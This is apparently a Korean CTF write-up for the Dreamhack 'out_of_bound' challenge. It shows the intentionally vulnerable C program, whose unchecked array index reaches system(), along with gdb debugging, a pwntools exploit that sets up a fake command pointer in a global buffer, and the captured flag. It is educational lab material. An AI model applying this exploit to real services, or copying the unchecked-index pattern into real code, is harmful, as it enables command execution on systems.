

out_of_bound

out_of_bound

Description 이 문제는 서버에서 작동하고 있는 서비스(outofbound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이트에 인

 <https://dreamhack.io/wargame/challenges/11/>



```
root@06285d762fb3:/# nc host1.dreamhack.games 11780
Admin name: me
What do you want?: apple
```

실행을 하면 위와같이 뜬다.

```
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler); //알람 시그널의 핸들러 설치
    alarm(30); //30초후 알람이 울리도록 -> 30초 후 alarm_handler가 작동한다.
}

int main()
{
    int idx;
```

```

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

```

제공된 코드는 다음과 같다.

```

root@06285d762fb3:dreamhack out_of_bound# ./out_of_bound
Admin name: TIME OUT
root@06285d762fb3:dreamhack out_of_bound#

```

30초간 아무것도 하지 않았더니 알람에 의해 alarm_handler가 작동하며 Time out이 뜬다.

```

root@06285d762fb3:dreamhack out_of_bound# nc host1.dreamhack.games 11780
Admin name: a
What do you want?: 1
flag
out_of_bound

```

what do you want? 이후 scanf로 사용자 입력을 받고 이후 command에서 해당 입력에 해당하는 인덱스와 상응하는 명령어를 실행한다. (위의 경우 ls)

다른 명령어들은 다 평범한데 **file ./oob**가 눈에 띈다.

근데 위에서 ls로 값을 확인해봤지만 해당 디렉토리 내에 oob라는 파일은 없는데?? flag를 실행시켜준다면 매우 좋겠지만...

```

root@2db5ca5df020:dreamhack out_of_bound# nc host1.dreamhack.games 11780
Admin name: a
What do you want?: 4

```

아무튼 그래서인지 **file ./oob**를 실행시켜봐도 아무것도 뜨지 않는다.

out of boundary이기 때문에 command의 boundary 외부 값을 입력해서 name에 입력한 내용을 명령어로 사용해야 할 거 같다.

0x0804a060	command
0x0804a088	__TMC_END__
0x0804a088	__bss_start
0x0804a088	_edata
0x0804a0a0	stdin
0x0804a0a0	stdin@@GLIBC_2.0
0x0804a0a4	stdout
0x0804a0a4	stdout@@GLIBC_2.0
0x0804a0a8	completed
0x0804a0ac	name

name과 command는 0x4c 차이가 난다 (76byte?)

command는 포인터 배열이므로 하나당 8byte를 차지한다. 따라서 name의 위치는 command[9]+4바이트 위치에 있다?

```
root@2db5ca5df020:dreamhack out_of_bound# file ./out_of_bound
./out_of_bound: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d83d8fb5458a8e0b408a23c97
fed327c1a8462c, not stripped
```

아니다.. 보니까 파일이 32bit이다. 그러니까 포인터는 4바이트를 차지하고 따라서 name의 위치는 command[19]에 존재한다.

```
gdb-peda$ b *main+119
Breakpoint 1 at 0x8048742
gdb-peda$ r
Starting program: /test/dre
warning: Error disabling a
Admin name: cat flag
What do you want?: 19
```

근데 이렇게 해도 안된다ㅠㅠ

system이 실행하기 전에 브레이크를 걸어서 확인해봤다.

```

EAX: 0x20746163 ('cat ')
EBX: 0x0
ECX: 0x0
EDX: 0xffff7f0d8 --> 0x13
ESI: 0xf7f0d000 --> 0x1ead6c
EDI: 0xf7f0d000 --> 0x1ead6c
EBP: 0xffff7f0e8 --> 0x0
ESP: 0xffff7f0c0 ("cat #330#360#367#377#020")
EIP: 0x8048742 (<main+119>:      call    0x8048500 <system@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT dire
[-----code-----
0x8048737 <main+108>:      mov     eax,DWORD PTR [eax*4+0x80
0x804873e <main+115>:      sub     esp,0xc
0x8048741 <main+118>:      push    eax
=> 0x8048742 <main+119>:      call   0x8048500 <system@plt>
0x8048747 <main+124>:      add     esp,0x10
0x804874a <main+127>:      mov     eax,0x0
0x804874f <main+132>:      mov     edx,DWORD PTR [ebp-0xc]
0x8048752 <main+135>:      xor     edx,DWORD PTR gs:0x14
Guessed arguments:
arg[0]: 0x20746163 ('cat ')

```

eax에 'cat '이 들어간 것을 확인할 수 있다.

찾아보니.. system은 공유 라이브러리 함수이기 때문에 처음 4바이트는 해당 변수의 주소,
그리고 다음 4바이트에 인자를 넣어야 한다고 한다... 사실 잘 모르겠다 감이 안잡힌다 😞

```

from pwn import *

r = remote("host1.dreamhack.games", 10648)
name = p32(0x0804a0ac+4)
command = p32(0x0804a060)
p = r.recvuntil("name:")
print(p)
r.sendline(name + b"cat flag")

p = r.recvuntil("want?:")
print(p)
r.sendline('19')
print(r.recv())

r.interactive()

```

```
root@2db5ca5df020:dreamhack out_of_bound# python3 #[dreamhack#]# out# of# bound.py
[+] Opening connection to host1.dreamhack.games on port 10648: Done
[dreamhack] out of bound.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees.
  See https://docs.pwntools.com/#bytes
    p = r.recvuntil("name:")
b'Admin name:'
[dreamhack] out of bound.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees
  See https://docs.pwntools.com/#bytes
    p = r.recvuntil("want?")
b'What do you want?:'
[dreamhack] out of bound.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees
  See https://docs.pwntools.com/#bytes
    r.sendline('19')
b''
[+] Switching to interactive mode
DH{2524e20ddeee45f11c8eb91804d57296} [*] Got EOF while reading in interactive
$
```